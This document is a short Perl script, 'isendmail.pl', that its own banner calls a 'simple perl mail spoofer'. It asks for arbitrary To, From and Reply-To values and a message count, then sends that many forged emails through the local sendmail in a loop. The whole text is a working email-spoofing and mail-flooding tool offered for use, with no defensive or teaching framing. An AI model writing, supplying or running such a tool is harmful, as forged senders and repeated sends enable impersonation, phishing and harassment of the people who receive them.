isendmail.pl

#!/usr/bin/perl
# Original author was a monkey, left errors all over the shop
# Oh well, fixed now.
# Keyboard cat says hi :D
print "isendmail - simple perl mail spoofer ^-^ \n";
print "\n\tTo……..: ";
chomp ($to = <>);
print "\tFrom……: ";
chomp ($from = <>);
print "\tReply To..: ";
chomp ($reply = <>);
print "\tSubject…: ";
chomp ($subject = <>);
print "\n\tMessage…: ";
chomp ($message = <>);
print "\n\tNumber of Messages: ";
chomp ($msgnum = <>);

for ($x = 0; $x < $msgnum; $x++) {
open(MAIL, "|/usr/sbin/sendmail -t");
print MAIL "To: $to\n";
print MAIL "From: $from\n";
print MAIL "Reply-To: $reply\n";
print MAIL "Subject: $subject\n\n";
print MAIL "$message\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n";
close(MAIL);
}

print "\n\t$msgnum messages sent to $to.\n\n";
exit(0);